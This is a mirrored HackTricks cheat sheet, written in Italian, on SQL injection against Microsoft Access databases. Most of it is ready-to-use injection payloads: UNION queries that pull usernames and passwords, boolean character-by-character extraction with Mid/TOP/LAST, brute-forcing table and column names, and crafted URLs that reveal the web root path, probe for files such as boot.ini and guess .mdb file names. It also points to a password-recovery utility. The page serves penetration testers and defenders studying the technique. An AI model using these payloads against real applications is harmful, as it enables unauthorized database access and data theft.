mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-26 14:40:37 +00:00
192 lines
10 KiB
Markdown
192 lines
10 KiB
Markdown
# Iniezione SQL in MS Access
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata su HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR a** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|
|
|
|
## Playground Online
|
|
|
|
* [https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1](https://www.w3schools.com/sql/trysql.asp?filename=trysql\_func\_ms\_format\&ss=-1)
|
|
|
|
## Limitazioni del DB
|
|
|
|
### Concatenazione di stringhe
|
|
|
|
La concatenazione di stringhe è possibile con i caratteri `& (%26)` e `+ (%2b)`.
|
|
```sql
|
|
1' UNION SELECT 'web' %2b 'app' FROM table%00
|
|
1' UNION SELECT 'web' %26 'app' FROM table%00
|
|
```
|
|
### Commenti
|
|
|
|
Non ci sono commenti in MS Access, ma apparentemente è possibile rimuovere l'ultima parte di una query con un carattere NULL:
|
|
```sql
|
|
1' union select 1,2 from table%00
|
|
```
|
|
Se ciò non funziona, potresti sempre correggere la sintassi della query:
|
|
```sql
|
|
1' UNION SELECT 1,2 FROM table WHERE ''='
|
|
```
|
|
### Query annidate
|
|
|
|
Non sono supportate.
|
|
|
|
### LIMIT
|
|
|
|
L'operatore **`LIMIT`** **non è implementato**. Tuttavia, è possibile limitare i risultati della query SELECT alle **prime N righe della tabella utilizzando l'operatore `TOP`**. `TOP` accetta come argomento un numero intero, che rappresenta il numero di righe da restituire.
|
|
```sql
|
|
1' UNION SELECT TOP 3 attr FROM table%00
|
|
```
|
|
Proprio come TOP, puoi utilizzare **`LAST`** che otterrà le **righe dalla fine**.
|
|
|
|
## Union Queries/Sub queries
|
|
|
|
In una SQLi, di solito vorrai eseguire in qualche modo una nuova query per estrarre informazioni da altre tabelle. MS Access richiede sempre che nelle **subquery o query aggiuntive sia indicato un `FROM`**.\
|
|
Quindi, se vuoi eseguire una `UNION SELECT` o `UNION ALL SELECT` o un `SELECT` tra parentesi in una condizione, devi sempre **indicare un `FROM` con un nome di tabella valido**.\
|
|
Pertanto, devi conoscere un **nome di tabella valido**.
|
|
```sql
|
|
-1' UNION SELECT username,password from users%00
|
|
```
|
|
### Concatenazione di equals + Sottostringa
|
|
|
|
{% hint style="warning" %}
|
|
Questo ti permetterà di estrarre i valori della tabella corrente senza dover conoscere il nome della tabella.
|
|
{% endhint %}
|
|
|
|
**MS Access** permette una sintassi strana come **`'1'=2='3'='asd'=false`**. Come di consueto, l'iniezione SQL sarà all'interno di una clausola **`WHERE`** che possiamo sfruttare.
|
|
|
|
Immagina di avere un SQLi in un database MS Access e di sapere (o aver indovinato) che il nome di una **colonna è username**, ed è il campo che vuoi **estrarre**. Potresti controllare le diverse risposte dell'applicazione web quando viene utilizzata la tecnica di concatenazione di equals e potenzialmente estrarre il contenuto con un'iniezione booleana utilizzando la funzione **`Mid`** per ottenere sottostringhe.
|
|
```sql
|
|
'=(Mid(username,1,3)='adm')='
|
|
```
|
|
Se conosci il **nome della tabella** e della **colonna** da estrarre, puoi utilizzare una combinazione di `Mid`, `LAST` e `TOP` per **rivelare tutte le informazioni** tramite boolean SQLi:
|
|
```sql
|
|
'=(Mid((select last(useranme) from (select top 1 username from usernames)),1,3)='Alf')='
|
|
```
|
|
_Feel free to check this in the online playground._
|
|
|
|
### Forzare i nomi delle tabelle
|
|
|
|
Utilizzando la tecnica di concatenazione degli equals, è possibile **forzare i nomi delle tabelle** con qualcosa del genere:
|
|
```sql
|
|
'=(select+top+1+'lala'+from+<table_name>)='
|
|
```
|
|
Puoi anche utilizzare un metodo più tradizionale:
|
|
```sql
|
|
-1' AND (SELECT TOP 1 <table_name>)%00
|
|
```
|
|
_Feel free to check this in the online playground._
|
|
|
|
* Nomi comuni delle tabelle Sqlmap: [https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt](https://github.com/sqlmapproject/sqlmap/blob/master/data/txt/common-tables.txt)
|
|
* C'è un'altra lista su [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
### Forzare i nomi delle colonne
|
|
|
|
Puoi **forzare i nomi delle colonne correnti** con il trucco dell'uguale concatenato con:
|
|
```sql
|
|
'=column_name='
|
|
```
|
|
Oppure con un **group by**:
|
|
```sql
|
|
-1' GROUP BY column_name%00
|
|
```
|
|
Oppure puoi eseguire un attacco di forza bruta sui nomi delle colonne di una **tabella diversa** con:
|
|
```sql
|
|
'=(SELECT TOP 1 column_name FROM valid_table_name)='
|
|
|
|
-1' AND (SELECT TOP 1 column_name FROM valid_table_name)%00
|
|
```
|
|
### Dumping dei dati
|
|
|
|
Abbiamo già discusso della [**tecnica di concatenazione degli equals**](ms-access-sql-injection.md#chaining-equals-+-substring) **per il dumping dei dati dalle tabelle correnti e da altre tabelle**. Ma ci sono anche altri modi:
|
|
```sql
|
|
IIF((select mid(last(username),1,1) from (select top 10 username from users))='a',0,'ko')
|
|
```
|
|
In poche parole, la query utilizza un'istruzione "if-then" per generare un "200 OK" in caso di successo o un "500 Internal Error" altrimenti. Sfruttando l'operatore TOP 10, è possibile selezionare i primi dieci risultati. L'utilizzo successivo di LAST consente di considerare solo la decima tupla. Su tale valore, utilizzando l'operatore MID, è possibile effettuare un semplice confronto tra caratteri. Cambiando correttamente l'indice di MID e TOP, è possibile estrarre il contenuto del campo "username" per tutte le righe.
|
|
|
|
### Basato sul tempo
|
|
|
|
Controlla [https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676(v=technet.10)?redirectedfrom=MSDN](https://docs.microsoft.com/en-us/previous-versions/tn-archive/cc512676\(v=technet.10\)?redirectedfrom=MSDN)
|
|
|
|
### Altre funzioni interessanti
|
|
|
|
* `Mid('admin',1,1)` ottiene una sottostringa dalla posizione 1 di lunghezza 1 (la posizione iniziale è 1)
|
|
* `LEN('1234')` ottiene la lunghezza della stringa
|
|
* `ASC('A')` ottiene il valore ASCII del carattere
|
|
* `CHR(65)` ottiene la stringa dal valore ASCII
|
|
* `IIF(1=1,'a','b')` se allora
|
|
* `COUNT(*)` Conta il numero di elementi
|
|
|
|
## Enumerazione delle tabelle
|
|
|
|
Da [**qui**](https://dataedo.com/kb/query/access/list-of-tables-in-the-database) puoi vedere una query per ottenere i nomi delle tabelle:
|
|
```sql
|
|
select MSysObjects.name
|
|
from MSysObjects
|
|
where
|
|
MSysObjects.type In (1,4,6)
|
|
and MSysObjects.name not like '~*'
|
|
and MSysObjects.name not like 'MSys*'
|
|
order by MSysObjects.name
|
|
```
|
|
Tuttavia, nota che è molto comune trovare SQL Injection in cui **non hai accesso per leggere la tabella `MSysObjects`**.
|
|
|
|
## Accesso al file system
|
|
|
|
### Percorso completo della directory radice del web
|
|
|
|
La conoscenza del **percorso assoluto della directory radice del web può facilitare ulteriori attacchi**. Se gli errori dell'applicazione non sono completamente nascosti, il percorso della directory può essere scoperto cercando di selezionare dati da un database inesistente.
|
|
|
|
`http://localhost/script.asp?id=1'+'+UNION+SELECT+1+FROM+FakeDB.FakeTable%00`
|
|
|
|
MS Access risponde con un **messaggio di errore contenente il percorso completo della directory web**.
|
|
|
|
### Enumerazione dei file
|
|
|
|
Il seguente vettore di attacco può essere utilizzato per **inferire l'esistenza di un file nel file system remoto**. Se il file specificato esiste, MS Access genera un messaggio di errore che informa che il formato del database non è valido:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+name+FROM+msysobjects+IN+'\boot.ini'%00`
|
|
|
|
Un altro modo per enumerare i file consiste nel **specificare un elemento database.tabella**. **Se** il **file specificato esiste**, MS Access visualizza un **messaggio di errore sul formato del database**.
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+C:\boot.ini.TableName%00`
|
|
|
|
### Indovinare il nome del file .mdb
|
|
|
|
Il nome del file del database (.mdb) può essere inferito con la seguente query:
|
|
|
|
`http://localhost/script.asp?id=1'+UNION+SELECT+1+FROM+name[i].realTable%00`
|
|
|
|
Dove **name\[i] è un nome di file .mdb** e **realTable è una tabella esistente** nel database. Sebbene MS Access generi sempre un messaggio di errore, è possibile distinguere tra un nome di file non valido e un nome di file .mdb valido.
|
|
|
|
### Cracker di password .mdb
|
|
|
|
[**Access PassView**](https://www.nirsoft.net/utils/accesspv.html) è un'utilità gratuita che può essere utilizzata per recuperare la password principale del database di Microsoft Access 95/97/2000/XP o Jet Database Engine 3.0/4.0.
|
|
|
|
## Riferimenti
|
|
|
|
* [http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html](http://nibblesec.org/files/MSAccessSQLi/MSAccessSQLi.html)
|
|
|
|
<details>
|
|
|
|
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
|
|
|
Altri modi per supportare HackTricks:
|
|
|
|
* Se vuoi vedere la tua **azienda pubblicizzata in HackTricks** o **scaricare HackTricks in PDF** Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
|
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
|
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
|
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
|
* **Condividi i tuoi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
|
|
|
</details>
|